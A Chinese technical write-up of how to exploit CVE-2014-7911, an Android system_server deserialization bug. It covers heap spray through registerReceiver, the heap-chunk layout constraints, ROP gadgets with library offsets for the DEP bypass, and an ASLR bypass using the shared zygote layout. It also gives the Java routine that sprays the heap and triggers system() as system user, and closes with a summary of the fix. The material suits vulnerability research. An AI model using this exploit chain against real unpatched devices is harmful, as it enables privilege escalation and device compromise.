CVE-2014-7911安卓本地提权漏洞利用

CVE-2014-7911安卓本地提权漏洞分析中,已经分析了漏洞的成因和触发时机。
POC崩溃到mOrgue,从该地址处取值,所以从这个点开始控制流程。由于堆分配不可控,所以要让mOrgue指向的内存命中可控区域,这里需要采用堆喷技术。在控制流程之后要想使代码顺利执行,还需要过掉DEP和ASLR。

Dakvik-Heap Spray

堆喷数据一般由大量的堆块组成,每个堆块又由大量的滑板指令+shellcode组成,滑板指令的目的是让程序能跳转到shellcode中执行我们的代码,看漏洞最后执行的汇编代码是执行了blx r2操作,即跳转到r2处执行代码,而r2的值是由r0经过三级指针获取的,所以需要将布局的滑板指令覆盖到r0并且能够跳转到shellcode中。

堆块布局

先看最终的堆块布局,如下图所示:
exploit-cve-2014-7911-exp-1

假设mOrgue命中了堆块中的滑板指令,
为了使
[mOrgue] = shellcode_addr
则有
[mOrgue] = shellcode_addr = heap_base_addr + shellcode_addr_offset
一般情况下mOrgue在堆基址某偏移处,考虑到4字节对齐,所以
mOrgue = heap_base_addr + 4N
得出
[mOrgue] = heap_base_addr + shellcode_addr_offset = mOrgue + shellcode_addr_offset - 4N
这样,给定一个mOrgue,只要能落入system_server在dalvik heap分配的大量堆块中,
即指向了滑板指令,就总是存在[mOrgue] = shellcode_addr。

再看堆块结构图,滑板指令的值从上到下依次减4,
所以当[mOrgue] = shellcode_addr时,[mOrgue + 4] = shellcode_addr - 4,
可得出[mOrgue + 4N] = shellcode_addr - 4N

所以通过构造这样结构的堆块,就可以达到上述滑板指令的目的,
同时当命中滑板指令时,这个堆块布局有两个逻辑公式:
[mOrgue] = mOrgue + shellcode_addr_offset - 4N
[mOrgue + 4N] = shellcode_addr - 4N

堆块布局约束条件

解决了滑板指令的问题,还要考虑到漏洞利用过程中堆块内写入数据的约束条件,重新看汇编代码

1
2
3
4
5
6
7
8
9
10
11
12
13
0000d174         mov        r5, r0	// r0 = mOrgue可控
0000d176 ldr r4, [r0, #0x4] // mOrgue + 4处取值
0000d178 mov r6, r1
0000d17a mov r0, r4
0000d17c blx android_atomic_dec@PLT
0000d180 cmp r0, #0x1
0000d182 bne 0xd19c

0000d184 ldr r0, [r4, #0x8] // r0 = [r4 + 8]
0000d186 mov r1, r6
0000d188 ldr r3, [r0]
0000d18a ldr r2, [r3, #0xc]
0000d18c blx r2

跳转限制条件:
[r0, #0x4] == 1 即 [mOrgue + 4] == 1
根据[mOrgue + 4N] = shellcode_addr得出
shellcode_addr - 4 == 1

流程控制限制条件:
r0 = [r4 + 8] = [[r0 + 4] + 8] = [shellcode_addr - 4 + 8] = [shellcode_addr + 4]
r3 = [r0] = [[shellcode_addr + 4]]
r2 = [r3 + 12]
为了布局方便和流程控制,最后让r2指向shellcode_addr则有
r2 = [shellcode_addr] = [shellcode_addr -12 + 12]
得出r3 = shellcode_addr -12 = [mOrgue + 12]
要使[[shellcode_addr + 4]] = [mOrgue + 12]
则有[shellcode_addr + 4] == mOrgue + 12

综上所述,堆块布局的两个限制条件为:
shellcode_addr - 4 == 1
[shellcode_addr + 4] == mOrgue + 12

将大量的这样布局的堆块喷射到system_server中,一旦mOrgue值命中滑板指令,就会跳入shellcode_addr地址去执行代码。

代码注入

堆块布局完成后,如何向sysetem_server的dalvik-heap空间注入这些字符串?
system_server向android系统提供绝大多数的系统服务,通过这些服务的一些特定方法可以向system_server传入String,同时system_server把这些String存储在Dalvik-heap中,在GC之前都不会销毁。例如android广播服务,android应用程序可以把广播接收器注册到ActivityManagerService中去,这个过程就完成了数据由应用层到service层的传输。

android.content.Context中的registerReceiver方法

1
public Intent registerReceiver (BroadcastReceiver receiver, IntentFilter filter, String broadcastPermission, Handler scheduler)

其中第三个参数broadcastPermission为String类型,可以通过这个参数将数据注入到system_service中。

当我们调用registerReceiver方法时,调用流程依次为:

1
2
3
4
5
ContextWrapper.registerReceiver ->
ContextImpl.registerReceiver ->
ContextImpl.registerReceiverInternal ->
ActivityManagerProxy.registerReceiver ->
ActivityManagerService.registerReceiver

该调用链表明可从某个app的Context通过binder IPC跨进程调用system_server的ActivityManagerService.registerReceiver方法,其中ActivityManagerService常驻system_server进程空间。我们再看看ActivityManagerService的registerReceiver方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

public Intent registerReceiver(IApplicationThread caller, String callerPackage, IIntentReceiver receiver, IntentFilter filter, String permission, int userId) {
enforceNotIsolatedCaller("registerReceiver");
int callingUid;
int callingPid;
synchronized(this) {
...
ReceiverList rl = (ReceiverList)mRegisteredReceivers.get(receiver.asBinder());
...
BroadcastFilter bf = new BroadcastFilter(filter, rl, callerPackage, permission, callingUid, userId); // 在Dalvik-heap中分配内存
rl.add(bf);
...
return sticky;
}
}

在ActivityManagerService的registerReceiver中,通过new将在system_server进程的Dalvik-heap堆中分配内存,传入的permission字符串将常驻system_server进程空间。这样,通过调用某些系统Api,代码注入的问题就解决了。

其中registerReceiver具体实现细节可参考Android应用程序注册广播接收器(registerReceiver)的过程分析

DEP Bypass

由于Android使用了DEP,因此Dalvik-heap上的内存不能用来执行,这就必须使用ROP技术,使PC跳转到一系列合法指令序列(Gadget),并由这些Gadget拼凑而成shellcode,shellcode中执行system函数,然后通过system函数调用外部程序。

一个寻找ROP链的工具
需要注意的是,在寻找ROP跳转指令时候,一定要从基础模块(会被zygote加载的模块)中寻找,保证内存布局是一致的,如libc,libandroid_runtime等。

为了调用system函数,需要控制r0寄存器,指向我们预先布置的命令行字符串作为参数。这里需要使用Stack Pivot技术,将栈顶指针SP指向控制的Dalvik-heap堆中的数据,这将为控制PC寄存器、以及在栈上布置数据带来便利,执行命令

1
python ./ROPgadget.py --thumb --binary /Users/idhyt/Downloads/libwebviewchromium.so > gadgets.txt

然后就可以寻找合适的代码片段,寻找的时候要有目的性,首先第一条指令一定尽量是我们能控制的指令,通过前边dump的崩溃信息可以看到,r0,r5,r7,r8这4个寄存器的值都是mOrgue,即这4个寄存器可控,所以第一条指令可以重点查看是这4个寄存器操作的指令,下边就是一系列繁杂的体力活,直接用exploit中的ROP进行说明。

gadget1: libwebviewchromium.so(0x0070a93c)

1
2
3
4
ldr r7, [r5]	// r5 = mOrgue, r7 = [mOrgue] = shellcode_addr
mov r0, r5 // r0 = mOrgue
ldr r1, [r7, #8] // r1 = [r7 + 8] = [shellcode_addr + 8]
blx r1 // 跳转到[shellcode_addr + 8]执行

gadget2: libdvm.so(0x000664c4)

1
2
3
add.w r7, r7, #8	// r7 = r7 + 8 = shellcode_addr + 8
mov sp, r7 // sp = r7 = shellcode_addr + 8
pop {r4, r5, r7, pc} // r4=[shellcode_addr + 8], r5=[shellcode_addr + 12], r7=[shellcode_addr + 16], pc=[shellcode_addr + 20], 跳转到pc执行

gadget3: libwebviewchromium.so(0x0030c4b8)

1
2
mov r0, sp 	//	上边sp=shellcode_addr + 8,然后pop出4个寄存器,所以sp=shellcode_addr + 8 + 4*4 = shellcode_addr + 24
blx r5 // r5 = [shellcode_addr + 12] 即跳转到该处执行代码

最后一步要能执行system命令,需要r0 = system参数,r5system地址,
所以得出
[shellcode_addr + 24] = system参数
[shellcode_addr + 12] = system地址

结合堆块布局里边的约束条件
shellcode_addr - 4 == 1
[shellcode_addr + 4] == mOrgue + 12

最终的堆块数据布局如下所示:
exploit-cve-2014-7911-exp-2

最后,构造ROP Chain还需要考虑一个细节,ARM有两种模式Thumb和ARM模式,我们使用的Gadgets均为Thumb模式,因此其地址的最低位均需要加1

ASLR Bypass

Android自4.1始开始启用ASLR(地址随机化),任何程序自身的的地址空间在每一次运行时都将发生变化。但在Android中,攻击程序、system_server皆由zygote进程fork而来,因此攻击程序与system_server共享同样的基础模块和dalvik-heap。只要在使用dalvik heapspray和构建ROP Gadget时,只使用libc、libdvm这些基础模块,就无需考虑地址随机化的问题。

Android和Linux一样提供了基于/proc的”伪文件”系统来作为查看用户进程内存映像的接口(cat /proc/pid/maps)。可以说,这是Android系统内核层开放给用户层关于进程内存信息的一扇窗户。通过它,我们可以查看到当前进程空间的内存映射情况,模块加载情况以及虚拟地址和内存读写执行(rwxp)属性等。如下图,查看两个不同进程的堆内存分布,发现基础模块堆基址都是相同的。
exploit-cve-2014-7911-exp-3

其中,各个字段说明如下(来自stackoverflow):

Each row in /proc/$PID/maps describes a region of contiguous virtual memory in a process or thread. Each row has the following fields:
address perms offset dev inode pathname
08048000-08056000 r-xp 00000000 03:0c 64593 /usr/sbin/gpm
address - This is the starting and ending address of the region in the process’s address space
permissions - This describes how pages in the region can be accessed. There are four different permissions: read, write, execute, and shared. If read/write/execute are disabled, a ‘-‘ will appear instead of the ‘r’/‘w’/‘x’. If a region is not shared, it is private, so a ‘p’ will appear instead of an ‘s’. If the process attempts to access memory in a way that is not permitted, a segmentation fault is generated. Permissions can be changed using the mprotect system call.
offset - If the region was mapped from a file (using mmap), this is the offset in the file where the mapping begins. If the memory was not mapped from a file, it’s just 0.
device - If the region was mapped from a file, this is the major and minor device number (in hex) where the file lives.
inode - If the region was mapped from a file, this is the file number.
pathname - If the region was mapped from a file, this is the name of the file. This field is blank for anonymous mapped regions. There are also special regions with names like [heap], [stack], or [vdso]. [vdso] stands for virtual dynamic shared object. It’s used by system calls to switch to kernel mode. Here’s a good article about it.
You might notice a lot of anonymous regions. These are usually created by mmap but are not attached to any file. They are used for a lot of miscellaneous things like shared memory or buffers not allocated on the heap. For instance, I think the pthread library uses anonymous mapped regions as stacks for new threads.

漏洞利用代码

利用过程最关键堆块布局流程代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
protected void exploitBegin() {

int dalvikHeapAddr = getBase("/dev/ashmem/dalvik-heap");
int libcAddr = getBase("/system/lib/libc.so");
int libDvmAddr = getBase("/system/lib/libdvm.so");
int libWebViewChromiumAddr = getBase("/system/lib/libwebviewchromium.so");
int staticAddr = dalvikHeapAddr + 0x01001000;

Log.d(TAG, "staticAddr = 0x" + Integer.toHexString(staticAddr));

int gadgetChunkOffset = sprayChunkLength - gadgetChunkLength;
// java中char占两个字节
char[] bytes = new char[sprayChunkLength / 2];
int value;
for (int i = 0; i < gadgetChunkOffset / 2; i += 2) {
value = staticAddr + gadgetChunkOffset - (2 * i);
// 低位
bytes[i] = (char) value;
// 高位
bytes[i + 1] = (char) ((value >> 16) & 0xffff);
}

// 约束条件 shellcode_addr - 4 == 1
value = 1;
bytes[gadgetChunkOffset / 2 - 2] = (char) value;
bytes[gadgetChunkOffset / 2 - 1] = (char) ((value >> 16) & 0xffff);

// 约束条件 [shellcode_addr + 4] == mOrgue + 12
value = staticAddr + 0xC;
bytes[gadgetChunkOffset / 2 + 2] = (char) value;
bytes[gadgetChunkOffset / 2 + 3] = (char) ((value >> 16) & 0xffff);

// shellcode数据布局 [shellcode_addr] = gadget1_addr
value = libWebViewChromiumAddr + rop_chain[0]; // libwebviewchromium.so(0x0070a93c): ldr r7, [r5] ; mov r0, r5 ; ldr r1, [r7, #8] ; blx r1
bytes[gadgetChunkOffset / 2] = (char) value;
bytes[gadgetChunkOffset / 2 + 1] = (char) ((value >> 16) & 0xffff);

// shellcode数据布局 [shellcode_addr + 8] = gadget2_addr
value = libDvmAddr + rop_chain[1]; // libdvm.so(0x000664c4): add.w r7, r7, #8 ; mov sp, r7 ; pop {r4, r5, r7, pc}
bytes[gadgetChunkOffset / 2 + 4] = (char) value;
bytes[gadgetChunkOffset / 2 + 5] = (char) ((value >> 16) & 0xffff);

// shellcode数据布局 [shellcode_addr + 12] = system_addr
value = libcAddr + rop_chain[2]; // system
bytes[gadgetChunkOffset / 2 + 6] = (char) value;
bytes[gadgetChunkOffset / 2 + 7] = (char) ((value >> 16) & 0xffff);

// shellcode数据布局 [shellcode_addr + 20] = gadget3_addr
value = libWebViewChromiumAddr + rop_chain[3]; // libwebviewchromium.so(0x0030c4b8): mov r0, sp ; blx r5
bytes[gadgetChunkOffset / 2 + 10] = (char) value;
bytes[gadgetChunkOffset / 2 + 11] = (char) ((value >> 16) & 0xffff);

// system_param cmd = "id >/data/exploit.txt"
int[] values = stringToInt(cmd);
for (int i = 0; i < values.length; i++) {
bytes[gadgetChunkOffset / 2 + 12 + i * 2] = (char) values[i];
bytes[gadgetChunkOffset / 2 + 13 + i * 2] = (char) ((values[i] >> 16) & 0xffff);
}

// 堆喷
String str = String.valueOf(bytes);
for (int i = 0; i < 2000; i++) {
heapSpary(str);
if (i % 100 == 0) {
Log.d(TAG, "heap sparying... " + i);
}
}

// 触发
exploit(staticAddr);
}

利用代码详见:CVE-2014-7911_poc
将利用代码中的system参数即String cmd改为id >/data/exploit.txt,这条命令将获取用户UID和GID,并以system权限将其写入/data/exploit.txt文件中。执行过如下图所示:
exploit-cve-2014-7911-exp-3

修复

修复代码涉及与反序列化相关的 ObjectInputStream.java、ObjectStreamClass.java、ObjectStreamConstants.java、SerializationTest.java等文件。主要加了三种检查:

  1. 检查反序列化的类是否仍然满足序列化的需求;
  2. 检查反序列化的类的类型是否与stream中所持有的类型信息 (enum, serializable, externalizable)一致
  3. 在某些情形下,延迟类的静态初始化,直到对序列化流的内容检查完成。